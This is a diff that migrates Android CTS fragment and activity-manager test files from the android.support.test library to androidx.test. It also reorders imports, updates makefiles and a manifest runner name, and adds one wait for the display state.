--- a/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
@@ -22,13 +22,12 @@
import static org.junit.Assert.assertTrue;
import android.app.FragmentManager;
-import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index c1fd9d8..22c438c 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -41,8 +41,6 @@
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Pair;
import android.view.LayoutInflater;
@@ -52,6 +50,9 @@
import android.view.Window;
import android.widget.TextView;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java b/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
index 519588c..50d7238 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
@@ -17,9 +17,9 @@
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
index f1c6b9f..291dffb 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
@@ -20,11 +20,12 @@
import static org.junit.Assert.assertTrue;
import android.app.FragmentManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
index 62c4906..deb3723 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
@@ -25,12 +25,13 @@
import android.app.FragmentManagerNonConfig;
import android.os.Looper;
import android.os.Parcelable;
-import android.support.test.rule.ActivityTestRule;
import android.util.Pair;
import android.view.View;
import android.view.ViewGroup;
import android.view.accessibility.AccessibilityNodeInfo;
+import androidx.test.rule.ActivityTestRule;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
index 2a532d7..55b7809 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
@@ -32,14 +32,15 @@
import android.content.Intent;
import android.os.Bundle;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
index 6f63e98..809bc5e 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
@@ -30,11 +30,12 @@
import android.app.SharedElementCallback;
import android.graphics.Rect;
import android.os.Bundle;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
import android.transition.TransitionSet;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.transition.TargetTracking;
import com.android.compatibility.common.util.transition.TrackingTransition;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentViewTests.java b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
index 927552d..78521ef 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
@@ -24,14 +24,14 @@
import android.app.Fragment;
import android.app.FragmentManager;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
index fbf4258..fd6186d 100755
--- a/tests/fragment/src/android/fragment/cts/LoaderTest.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -28,10 +28,11 @@
import android.content.Loader;
import android.os.Bundle;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
index 15dff81..4fc65b9 100644
--- a/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
+++ b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
@@ -20,16 +20,16 @@
import android.app.Fragment;
import android.app.FragmentManager;
import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
index dbdf94d..33406df 100644
--- a/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
+++ b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
@@ -28,14 +28,15 @@
import android.app.FragmentManagerNonConfig;
import android.os.Bundle;
import android.os.Parcelable;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Pair;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
index c5c11cf..7268b56 100644
--- a/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
+++ b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
@@ -17,18 +17,21 @@
package android.fragment.cts;
+import static android.fragment.cts.FragmentTestUtil.executePendingTransactions;
+import static android.fragment.cts.FragmentTestUtil.popBackStackImmediate;
+
+import static junit.framework.TestCase.*;
+
import android.app.FragmentManager;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.MediumTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static android.fragment.cts.FragmentTestUtil.executePendingTransactions;
-import static android.fragment.cts.FragmentTestUtil.popBackStackImmediate;
-import static junit.framework.TestCase.*;
-
@MediumTest
@RunWith(AndroidJUnit4.class)
public class PrimaryNavFragmentTest {
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
index 833d532..6c80168 100644
--- a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -19,7 +19,8 @@
import android.app.Activity;
import android.os.Bundle;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
index 19cd50c..b832fe1 100644
--- a/tests/framework/base/activitymanager/Android.mk
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -36,7 +36,7 @@
$(call all-named-files-under,Components.java, translucentappsdk26) \
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules hamcrest-library \
cts-amwm-util
LOCAL_CTS_TEST_PACKAGE := android.server
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
index f442cdb6..1f8ca8a 100755
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -87,7 +87,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests of ActivityManager"
android:targetPackage="android.server.cts.am" />
diff --git a/tests/framework/base/activitymanager/app_base/Android.mk b/tests/framework/base/activitymanager/app_base/Android.mk
index 99a584c..fc2983b 100644
--- a/tests/framework/base/activitymanager/app_base/Android.mk
+++ b/tests/framework/base/activitymanager/app_base/Android.mk
@@ -6,7 +6,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
cts-amwm-util \
LOCAL_SRC_FILES := \
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 1ea220a..09eae84 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -50,6 +50,7 @@
import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -442,6 +443,9 @@
logSeparator = separateLogs();
launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+ // Wait more for display state change since turning the display ON may take longer
+ // and reported after the activity launch.
+ waitForDefaultDisplayState(true /* wantOn */);
assertTrue("Display turns on", isDisplayOn());
assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index 4f3cdff..786c9c5 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -36,7 +36,6 @@
import static android.server.am.Components.PORTRAIT_ORIENTATION_ACTIVITY;
import static android.server.am.Components.RESIZEABLE_ACTIVITY;
import static android.server.am.Components.TEST_ACTIVITY;
-import static android.server.am.StateLogger.log;
import static android.server.am.StateLogger.logE;
import static android.server.am.translucentapp.Components.TRANSLUCENT_LANDSCAPE_ACTIVITY;
import static android.server.am.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
@@ -45,6 +44,8 @@
import static android.view.Surface.ROTATION_270;
import static android.view.Surface.ROTATION_90;
+import static com.android.compatibility.common.util.PackageUtil.supportsRotation;
+
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.lessThan;
import static org.junit.Assert.assertEquals;
@@ -55,12 +56,12 @@
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
-import static com.android.compatibility.common.util.PackageUtil.supportsRotation;
import android.content.ComponentName;
import android.graphics.Rect;
import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
import org.junit.Ignore;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index 7873dbe..77a33dc 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -55,7 +55,7 @@
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
+import androidx.test.filters.FlakyTest;
import org.junit.Ignore;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
index f041ebd..d3287ec 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -40,7 +40,8 @@
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
index f625fdd..9678e17 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerGetConfigTests.java
@@ -16,6 +16,9 @@
package android.server.am;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+
import android.app.ActivityManager;
import android.app.KeyguardManager;
import android.content.Context;
@@ -34,13 +37,17 @@
import android.os.Build;
import android.os.LocaleList;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
import android.text.TextUtils;
import android.util.DisplayMetrics;
import android.view.Display;
+import androidx.test.InstrumentationRegistry;
+
import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+import org.junit.Before;
+import org.junit.Test;
+
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
@@ -58,12 +65,6 @@
import javax.microedition.khronos.egl.EGLDisplay;
import javax.microedition.khronos.egl.EGLSurface;
-import org.junit.Before;
-import org.junit.Test;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
public class ActivityManagerGetConfigTests {
Context mContext;
ActivityManager mAm;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 90658e5..c342a5a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -30,7 +30,6 @@
import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
import static android.server.am.Components.BroadcastReceiverActivity.ACTION_TRIGGER_BROADCAST;
-import static android.server.am.Components.BroadcastReceiverActivity.EXTRA_FINISH_BROADCAST;
import static android.server.am.Components.LAUNCHING_ACTIVITY;
import static android.server.am.Components.LAUNCH_BROADCAST_ACTION;
import static android.server.am.Components.LAUNCH_BROADCAST_RECEIVER;
@@ -62,15 +61,15 @@
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.server.am.ActivityManagerState.ActivityDisplay;
-import android.support.test.filters.FlakyTest;
import androidx.annotation.Nullable;
+import androidx.test.filters.FlakyTest;
import org.junit.Before;
import org.junit.Test;
-import java.util.concurrent.TimeUnit;
import java.util.List;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index f51f6fd..4dceb4c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -65,6 +65,7 @@
import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
import static android.server.am.UiDeviceUtils.pressWindowButton;
import static android.view.Display.DEFAULT_DISPLAY;
+
import static org.hamcrest.Matchers.lessThan;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
@@ -86,17 +87,20 @@
import android.server.am.ActivityManagerState.ActivityTask;
import android.server.am.WindowManagerState.WindowStack;
import android.server.am.settings.SettingsSession;
-import android.support.test.filters.FlakyTest;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import org.junit.Ignore;
-import org.junit.Test;
/**
* Build/Install/Run:
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index ae483d8..c2f2089 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -26,7 +26,6 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
import static android.server.am.Components.DOCKED_ACTIVITY;
import static android.server.am.Components.LAUNCHING_ACTIVITY;
import static android.server.am.Components.NON_RESIZEABLE_ACTIVITY;
@@ -55,7 +54,8 @@
import android.content.ComponentName;
import android.graphics.Rect;
import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
index 4828c34..526eeec 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -38,7 +38,8 @@
import android.content.ComponentName;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
import org.junit.Assume;
import org.junit.Before;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
index 0cb300a..038ad28 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -24,13 +24,14 @@
import android.app.Activity;
import android.content.Context;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Rule;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
index 0d1086c..b32c2cb 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -19,11 +19,12 @@
import android.app.Activity;
import android.content.Context;
import android.graphics.Point;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.view.Display;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
class AspectRatioTestsBase {
// The delta allowed when comparing two floats for equality. We consider them equal if they are
// within two significant digits of each other.
diff --git a/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java b/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
index a86e3f8..0c4cf4b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/DeprecatedTargetSdkTest.java
@@ -19,7 +19,7 @@
import static android.server.am.UiDeviceUtils.pressBackButton;
import static android.server.am.deprecatedsdk.Components.MAIN_ACTIVITY;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
index bcab43f..022bdba 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
@@ -22,11 +22,10 @@
import static org.junit.Assert.assertFalse;
import android.app.Activity;
-import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
index 11035ce..9db5f8e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
@@ -19,8 +19,9 @@
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
import static android.server.am.StateLogger.logAlways;
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.fail;
@@ -29,6 +30,7 @@
import android.hardware.display.VirtualDisplay;
import android.media.ImageReader;
import android.os.SystemClock;
+
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
index f76979c..59c0d2a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -19,10 +19,10 @@
import android.os.Handler;
import android.server.am.ActivityManagerTestBase;
import android.server.am.lifecycle.LifecycleLog.ActivityCallback;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.lifecycle.ActivityLifecycleMonitor;
-import android.support.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.lifecycle.ActivityLifecycleMonitor;
+import androidx.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;
import android.util.Pair;
import org.junit.After;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
index 95fc60e..5b6abe9 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -5,8 +5,9 @@
import android.app.Activity;
import android.content.Intent;
import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index 153a4cc..0e92146 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -32,10 +32,10 @@
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.AmUtils;
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
index da8296c..387a12a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleLog.java
@@ -1,19 +1,21 @@
package android.server.am.lifecycle;
import static android.server.am.StateLogger.log;
-import static android.support.test.runner.lifecycle.Stage.CREATED;
-import static android.support.test.runner.lifecycle.Stage.DESTROYED;
-import static android.support.test.runner.lifecycle.Stage.PAUSED;
-import static android.support.test.runner.lifecycle.Stage.PRE_ON_CREATE;
-import static android.support.test.runner.lifecycle.Stage.RESUMED;
-import static android.support.test.runner.lifecycle.Stage.STARTED;
-import static android.support.test.runner.lifecycle.Stage.STOPPED;
+
+import static androidx.test.runner.lifecycle.Stage.CREATED;
+import static androidx.test.runner.lifecycle.Stage.DESTROYED;
+import static androidx.test.runner.lifecycle.Stage.PAUSED;
+import static androidx.test.runner.lifecycle.Stage.PRE_ON_CREATE;
+import static androidx.test.runner.lifecycle.Stage.RESUMED;
+import static androidx.test.runner.lifecycle.Stage.STARTED;
+import static androidx.test.runner.lifecycle.Stage.STOPPED;
import android.app.Activity;
-import android.support.test.runner.lifecycle.ActivityLifecycleCallback;
-import android.support.test.runner.lifecycle.Stage;
import android.util.Pair;
+import androidx.test.runner.lifecycle.ActivityLifecycleCallback;
+import androidx.test.runner.lifecycle.Stage;
+
import java.util.ArrayList;
